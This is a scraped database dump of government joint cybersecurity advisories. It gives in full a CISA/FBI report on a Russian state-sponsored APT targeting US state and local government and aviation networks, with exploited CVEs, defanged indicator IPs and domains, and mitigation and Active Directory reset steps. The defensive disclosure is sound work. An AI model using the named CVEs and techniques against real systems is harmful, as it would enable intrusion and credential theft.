- 8.1R15\n\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\n * Microsoft Exchange Servers\n\n| \n\n * [Microsoft Security Advisory: CVE-2020-0688: Microsoft Exchange Validation Key Remote Code Execution Vulnerability](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n \nCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats. Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems. \n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto: CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [central@cisa.dhs.gov](<mailto: Central@cisa.dhs.gov>).\n\n### References\n\n[[1] U.S. Department of Justice Press Release](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)\n\n[[2] U.S. Department of Justice Press Release](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)\n\n[[3] Shodan](<https://www.shodan.io>)\n\n[[4] MITRE Common Vulnerabilities and Exposures List](<https://cve.mitre.org>)\n\n[[5] National Institute of Standards and Technology National Vulnerability Database](<https://nvd.nist.gov/>)\n\n[[6] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[7] CISA Alert AA20-206A: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>)\n\n[[8] CISA Alert AA20-031A: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n\n[[9] CISA Alert AA20-107A: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n\n[[10] GitHub](<https://www.GitHub.com>)\n\n[[11] Exploit-DB](<https://www.exploit-db.com/>)\n\n[[12] What is Mimikatz: The Beginner's Guide (VARONIS)](<https://www.varonis.com/blog/what-is-mimikatz/>)\n\n### Revisions\n\nSeptember 14, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-10-24T12:00:00", "id": "AA20-258A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-258a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:33:59", "description": "### Summary\n\n_This joint cybersecurity advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v7/>) framework for all referenced threat actor tactics and techniques _\n\nThis joint cybersecurity advisory\u2014written by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA)\u2014provides information on Russian state-sponsored advanced persistent threat (APT) actor activity targeting various U.S. state, local, territorial, and tribal (SLTT) government networks, as well as aviation networks. This advisory updates joint CISA-FBI cybersecurity advisory [AA20-283A: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>).\n\nSince at least September 2020, a Russian state-sponsored APT actor\u2014known variously as Berserk Bear, Energetic Bear, TeamSpy, Dragonfly, Havex, Crouching Yeti, and Koala in open-source reporting\u2014has conducted a campaign against a wide variety of U.S. targets. The Russian state-sponsored APT actor has targeted dozens of SLTT government and aviation networks, attempted intrusions at several SLTT organizations, successfully compromised network infrastructure, and as of October 1, 2020, exfiltrated data from at least two victim servers.\n\nThe Russian-sponsored APT actor is obtaining user and administrator credentials to establish initial access, enable lateral movement once inside the network, and locate high value assets in order to exfiltrate data. In at least one compromise, the APT actor laterally traversed an SLTT victim network and accessed documents related to:\n\n * Sensitive network configurations and passwords.\n * Standard operating procedures (SOP), such as enrolling in multi-factor authentication (MFA).\n * IT instructions, such as requesting password resets.\n * Vendors and purchasing information.\n * Printing access badges.\n\nTo date, the FBI and CISA have no information to indicate this APT actor has intentionally disrupted any aviation, education, elections, or government operations. However, the actor may be seeking access to obtain future disruption options, to influence U.S. policies and actions, or to delegitimize SLTT government entities.\n\nAs this recent malicious activity has been directed at SLTT government networks, there may be some risk to elections information housed on SLTT government networks. However, the FBI and CISA have no evidence to date that integrity of elections data has been compromised. Due to the heightened awareness surrounding elections infrastructure and the targeting of SLTT government networks, the FBI and CISA will continue to monitor this activity and its proximity to elections infrastructure.\n\n * Click here for a PDF version of this report.\n * Click here for a STIX package of IOCs.\n\n#### U.S. Heat Map of Activity\n\n[Click here](<https://indd.adobe.com/view/64463245-3411-49f9-b203-1c7cb8f16769>) for an interactive heat map of this activity (current as of November 17, 2020). Hovering the cursor over the map reveals the number and type of entities the Russian APT has targeted in each region. These totals include compromises, scanning, or other reconnaissance activity executed from the Russian APT actor infrastructure.\n\n**Note**: CISA is committed to providing access to our web pages and documents for individuals with disabilities, both members of the public and federal employees. If the format of any elements or content within this document interferes with your ability to access the information, as defined in the Rehabilitation Act, please email [info@us-cert.gov](<mailto: info@us-cert.gov>). To enable us to respond in a manner most helpful to you, please indicate the nature of your accessibility problem and the preferred format in which to receive the material.\n\n**Note**: the heat map has interactive features that may not work in your web browser. For best use, please download and save this catalog.\n\n### Technical Details\n\nThe FBI and CISA have observed Russian state-sponsored APT actor activity targeting U.S. SLTT government networks, as well as aviation networks. The APT actor is using Turkish IP addresses `213.74.101[.]65`, `213.74.139[.]196`, and `212.252.30[.]170` to connect to victim web servers (_Exploit Public Facing Application_ [[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190/>)]).\n\nThe actor is using `213.74.101[.]65` and `213.74.139[.]196` to attempt brute force logins and, in several instances, attempted Structured Query Language (SQL) injections on victim websites (_Brute Force_ [[T1110](<https://attack.mitre.org/versions/v7/techniques/T1110>)]; _Exploit Public Facing Application_ [[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190/>)]). The APT actor also hosted malicious domains, including possible aviation sector target `columbusairports.microsoftonline[.]host`, which resolved to `108.177.235[.]92` and `[cityname].westus2.cloudapp.azure.com`; these domains are U.S. registered and are likely SLTT government targets (_Drive-By Compromise _[[T1189](<https://attack.mitre.org/versions/v7/techniques/T1189>)]).\n\nThe APT actor scanned for vulnerable Citrix and Microsoft Exchange services and identified vulnerable systems, likely for future exploitation. This actor continues to exploit a Citrix Directory Traversal Bug ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) and a Microsoft Exchange remote code execution flaw ([CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)).\n\nThe APT actor has been observed using Cisco AnyConnect Secure Socket Layer (SSL) virtual private network (VPN) connections to enable remote logins on at least one victim network, possibly enabled by an Exim Simple Mail Transfer Protocol (SMTP) vulnerability ([CVE 2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>)) (_External Remote Services_ [[T1133](<https://attack.mitre.org/versions/v7/techniques/T1133>)]). More recently, the APT actor enumerated and exploited a Fortinet VPN vulnerability ([CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)) for Initial Access [[TA0001](<https://attack.mitre.org/versions/v7/tactics/TA0001/>)] and a Windows Netlogon vulnerability ([CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)) to obtain access to Windows Active Directory (AD) servers for Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v7/tactics/TA0004/>)] within the network (_Valid Accounts_ [[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078>)]). These vulnerabilities can also be leveraged to compromise other devices on the network (_Lateral Movement_ [[TA0008](<https://attack.mitre.org/versions/v7/tactics/TA0008/>)]) and to maintain _Persistence_ [[TA0003](<https://attack.mitre.org/versions/v7/tactics/TA0003/>)]).\n\nBetween early February and mid-September, these APT actors used `213.74.101[.]65`, `212.252.30[.]170`, `5.196.167[.]184`, `37.139.7[.]16`, `149.56.20[.]55`, `91.227.68[.]97`, and `5.45.119[.]124` to target U.S. SLTT government networks. Successful authentications\u2014including the compromise of Microsoft Office 365 (O365) accounts\u2014have been observed on at least one victim network (_Valid Accounts_ [[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078>)]).\n\n### Mitigations\n\n#### Indicators of Compromise\n\nThe APT actor used the following IP addresses and domains to carry out its objectives:\n\n * `213.74.101[.]65`\n * `213.74.139[.]196`\n * `212.252.30[.]170`\n * `5.196.167[.]184`\n * `37.139.7[.]16`\n * `149.56.20[.]55`\n * `91.227.68[.]97`\n * `138.201.186[.]43`\n * `5.45.119[.]124`\n * `193.37.212[.]43`\n * `146.0.77[.]60`\n * `51.159.28[.]101`\n * `columbusairports.microsoftonline[.]host`\n * `microsoftonline[.]host`\n * `email.microsoftonline[.]services`\n * `microsoftonline[.]services`\n * `cityname[.]westus2.cloudapp.azure.com`\n\nIP address `51.159.28[.]101` appears to have been configured to receive stolen Windows New Technology Local Area Network Manager (NTLM) credentials. FBI and CISA recommend organizations take defensive actions to mitigate the risk of leaking NTLM credentials; specifically, organizations should disable NTLM or restrict outgoing NTLM. Organizations should consider blocking IP address `51.159.28[.]101` (although this action alone may not mitigate the threat, as the APT actor has likely established, or will establish, additional infrastructure points).\n\nOrganizations should check available logs for traffic to/from IP address `51.159.28[.]101` for indications of credential-harvesting activity. As the APT actors likely have\u2014or will\u2014establish additional infrastructure points, organizations should also monitor for Server Message Block (SMB) or WebDAV activity leaving the network to other IP addresses.\n\nRefer to AA20-296A.stix for a downloadable copy of IOCs.\n\n#### Network Defense-in-Depth\n\nProper network defense-in-depth and adherence to information security best practices can assist in mitigating the threat and reducing the risk to critical infrastructure. The following guidance may assist organizations in developing network defense procedures.\n\n * Keep all applications updated according to vendor recommendations, and especially prioritize updates for external facing applications and remote access services to address CVE-2019-19781, CVE-2020-0688, CVE 2019-10149, CVE-2018-13379, and CVE-2020-1472. Refer to table 1 for patch information on these CVEs.\n\n_Table 1: Patch information for CVEs_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) | \n\n * Citrix Application Delivery Controller\n * Citrix Gateway\n * Citrix SDWAN WANOP\n\n| \n\n[Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n\n[Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n\n[Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n\n[Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) | \n\n * Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30\n * Microsoft Exchange Server 2013 Cumulative Update 23\n * Microsoft Exchange Server 2016 Cumulative Update 14\n * Microsoft Exchange Server 2016 Cumulative Update 15\n * Microsoft Exchange Server 2019 Cumulative Update 3\n * Microsoft Exchange Server 2019 Cumulative Update 4\n\n| [Microsoft Security Advisory for CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n[CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) | \n\n * Exim versions 4.87\u20134.91\n| [Exim page for CVE-2019-10149](<https://www.exim.org/static/doc/security/CVE-2019-10149.txt>) \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) | \n\n * FortiOS 6.0: 6.0.0 to 6.0.4\n * FortiOS 5.6: 5.6.3 to 5.6.7\n * FortiOS 5.4: 5.4.6 to 5.4.12\n| [Fortinet Security Advisory: FG-IR-18-384](<https://www.fortiguard.com/psirt/FG-IR-18-384>) \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2016\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n[Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) \n \n * Follow Microsoft\u2019s [guidance](<https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc>) on monitoring logs for activity related to the Netlogon vulnerability, CVE-2020-1472.\n * If appropriate for your organization\u2019s network, prevent external communication of all versions of SMB and related protocols at the network boundary by blocking Transmission Control Protocol (TCP) ports 139 and 445 and User Datagram Protocol (UDP) port 137. See the CISA publication on [SMB Security Best Practices](<https://us-cert.cisa.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices>) for more information.\n * Implement the prevention, detection, and mitigation strategies outlined in: \n * CISA Alert [TA15-314A \u2013 Compromised Web Servers and Web Shells \u2013 Threat Awareness and Guidance](<https://us-cert.cisa.gov/ncas/alerts/TA15-314A>).\n * National Security Agency Cybersecurity Information Sheet [U/OO/134094-20 \u2013 Detect and Prevent Web Shells Malware](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2159419/detect-prevent-cyber-attackers-from-exploiting-web-servers-via-web-shell-malware/>).\n * Isolate external facing services in a network demilitarized zone (DMZ) since they are more exposed to malicious activity; enable robust logging, and monitor the logs for signs of compromise.\n * Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails.\n * Implement application controls to only allow execution from specified application directories. System administrators may implement this through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from `PROGRAMFILES`, `PROGRAMFILES(X86)`, and `WINDOWS` folders. All other locations should be disallowed unless an exception is granted.\n * Block Remote Desktop Protocol (RDP) connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity.\n\n#### Comprehensive Account Resets\n\nFor accounts where NTLM password hashes or Kerberos tickets may have been compromised (e.g., through CVE-2020-1472), a double-password-reset may be required in order to prevent continued exploitation of those accounts. For domain-admin-level credentials, a reset of KRB-TGT \u201cGolden Tickets\u201d may be required, and Microsoft has released specialized [guidance](<https://docs.microsoft.com/en-us/azure-advanced-threat-protection/domain-dominance-alerts>) for this. Such a reset should be performed very carefully if needed.\n\nIf there is an observation of [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) Netlogon activity or other indications of valid credential abuse, it should be assumed the APT actors have compromised AD administrative accounts. In such cases, the AD forest should not be fully trusted, and, therefore, a new forest should be deployed. Existing hosts from the old compromised forest cannot be migrated in without being rebuilt and rejoined to the new domain, but migration may be done through \u201ccreative destruction,\u201d wherein, as endpoints in the legacy forest are decommissioned, new ones can be built in the new forest. This will need to be completed in on-premise\u2014as well as in Azure-hosted\u2014AD instances.\n\nNote that fully resetting an AD forest is difficult and complex; it is best done with the assistance of personnel who have successfully completed the task previously.\n\nIt is critical to perform a full password reset on all user and computer accounts in the AD forest. Use the following steps as a guide.\n\n 1. Create a temporary administrator account, and use this account only for all administrative actions\n 2. Reset the Kerberos Ticket Granting Ticket `(krbtgt`) password;[[1](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)] this must be completed before any additional actions (a second reset will take place in step 5)\n 3. Wait for the `krbtgt` reset to propagate to all domain controllers (time may vary)\n 4. Reset all account passwords (passwords should be 15 characters or more and randomly assigned): \n\n 1. User accounts (forced reset with no legacy password reuse)\n 2. Local accounts on hosts (including local accounts not covered by Local Administrator Password Solution [LAPS])\n 3. Service accounts\n 4. Directory Services Restore Mode (DSRM) account\n 5. Domain Controller machine account\n 6. Application passwords\n 5. Reset the` krbtgt` password again\n 6. Wait for the `krbtgt` reset to propagate to all domain controllers (time may vary)\n 7. Reboot domain controllers\n 8. Reboot all endpoints\n\nThe following accounts should be reset:\n\n * AD Kerberos Authentication Master (2x)\n * All Active Directory Accounts\n * All Active Directory Admin Accounts\n * All Active Directory Service Accounts\n * All Active Directory User Accounts\n * DSRM Account on Domain Controllers\n * Non-AD Privileged Application Accounts\n * Non-AD Unprivileged Application Accounts\n * Non-Windows Privileged Accounts\n * Non-Windows User Accounts\n * Windows Computer Accounts\n * Windows Local Admin\n\n#### VPN Vulnerabilities\n\nImplement the following recommendations to secure your organization\u2019s VPNs:\n\n * **Update VPNs, network infrastructure devices, and devices** being used to remote into work environments with the latest software patches and security configurations. See CISA Tips [Understanding Patches and Software Updates](<https://us-cert.cisa.gov/ncas/tips/ST04-006>) and [Securing Network Infrastructure Devices](<https://us-cert.cisa.gov/ncas/tips/ST18-001>). Wherever possible, enable automatic updates.\n * **Implement MFA on all VPN connections to increase security**. Physical security tokens are the most secure form of MFA, followed by authenticator app-based MFA. SMS and email-based MFA should only be used when no other forms are available. If MFA is not implemented, require teleworkers to use strong passwords. See CISA Tips [Choosing and Protecting Passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>) and [Supplementing Passwords](<https://us-cert.cisa.gov/ncas/tips/ST05-012>) for more information.\n\nDiscontinue unused VPN servers. Reduce your organization\u2019s attack surface by discontinuing unused VPN servers, which may act as a point of entry for attackers. To protect your organization against VPN vulnerabilities:\n\n * **Audit **configuration and patch management programs.\n * **Monitor **network traffic for unexpected and unapproved protocols, especially outbound to the Internet (e.g., Secure Shell [SSH], SMB, RDP).\n * **Implement** MFA, especially for privileged accounts.\n * **Use** separate administrative accounts on separate administration workstations.\n * **Keep **[software up to date](<https://us-cert.cisa.gov/ncas/tips/ST04-006>). Enable automatic updates, if available.\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<http://www.fbi.gov/contact-us/field>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov>).\n\n### Resources\n\n * APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations \u2013 <https://us-cert.cisa.gov/ncas/alerts/aa20-283a>\n * CISA Activity Alert CVE-2019-19781 \u2013 <https://us-cert/cisa.gov/ncas/alerts/aa20-031a>\n * CISA Vulnerability Bulletin \u2013 <https://us-cert/cisa.gov/ncas/bulletins/SB19-161>\n * CISA Current Activity \u2013 <https://us-cert.cisa.gov/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>\n * Citrix Directory Traversal Bug (CVE-2019-19781) \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2019-19781>\n * Microsoft Exchange remote code execution flaw (CVE-2020-0688) \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2020-0688>\n * CVE-2018-13379 \u2013 [https://nvd.nist.gov/vuln/detail/CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379 >)\n * CVE-2020-1472 \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2020-1472>\n * CVE 2019-10149 \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2019-10149>\n * NCCIC/USCERT Alert TA15-314A \u2013 Compromised Web Servers and Web Shells \u2013 Threat Awareness and Guidance \u2013 [https://us-cert.cisa.gov/ncas/alerts/TA15-314A](<https://us-cert.cisa.gov/ncas/alerts/TA15-314A >)\n * NCCIC/US-CERT publication on SMB Security Best Practices \u2013 <https://us-cert.cisa.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices> \n\n\n**_DISCLAIMER_**\n\n_This information is provided \"as is\" for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages, arising out of, resulting from, or in any way connected with this information, whether or not based upon warranty, contract, tort, or otherwise, whether or not arising out of negligence, and whether or not injury was sustained from, or arose out of the results of, or reliance upon the information._\n\n_The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government._\n\n### References\n\n[[1] Microsoft: AD Forest Recovery - Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)\n\n### Revisions\n\nOctober 22, 2020: Initial Version|November 17, 2020: Added U.S. Heat Map of Activity|December 1, 2020: Added \"current as of\" date to U.S. Heat Map of Activity\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-01T12:00:00", "type": "ics", "title": "Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2020-12-01T12:00:00", "id": "AA20-296A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-296a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:28:44", "description": "### Summary\n\n_**Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture.** \n\u2022 Patch all systems. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)._ \n\u2022 Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>). \n\u2022 _Use antivirus software._ \n_\u2022 Develop internal contact lists and surge support._\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor tactics and techniques.___\n\nThis joint Cybersecurity Advisory (CSA)\u2014authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)\u2014is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian state-sponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats.\n\nCISA, the FBI, and NSA encourage the cybersecurity community\u2014especially critical infrastructure network defenders\u2014to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.\n\n 1. **Be prepared**. Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.\n 2. **Enhance your organization\u2019s cyber posture**. Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n 3. **Increase organizational vigilance**. Stay current on reporting on this threat. [Subscribe](<https://public.govdelivery.com/accounts/USDHSCISA/subscriber/new?qsp=CODE_RED>) to CISA\u2019s [mailing list and feeds](<https://www.cisa.gov/uscert/mailing-lists-and-feeds>) to receive notifications when CISA releases information about a security topic or threat.\n\nCISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: [Preparing for and Mitigating Cyber Threats](<https://cisa.gov/sites/default/files/publications/CISA_INSIGHTS-Preparing_For_and_Mitigating_Potential_Cyber_Threats-508C.pdf>) for information on reducing cyber threats to their organization.\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\nHistorically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics\u2014including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security\u2014to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) FortiGate VPNs\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) Cisco router\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) Oracle WebLogic Server\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) Kibana\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) Zimbra software\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) Exim Simple Mail Transfer Protocol\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) Pulse Secure\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) Citrix\n * [CVE-2020-0688 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)Microsoft Exchange\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) VMWare (note: this was a zero-day at time.)\n * [CVE-2020-5902 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)F5 Big-IP\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) Oracle WebLogic\n * [CVE-2021-26855 ](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\nRussian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments\u2014including cloud environments\u2014by using legitimate 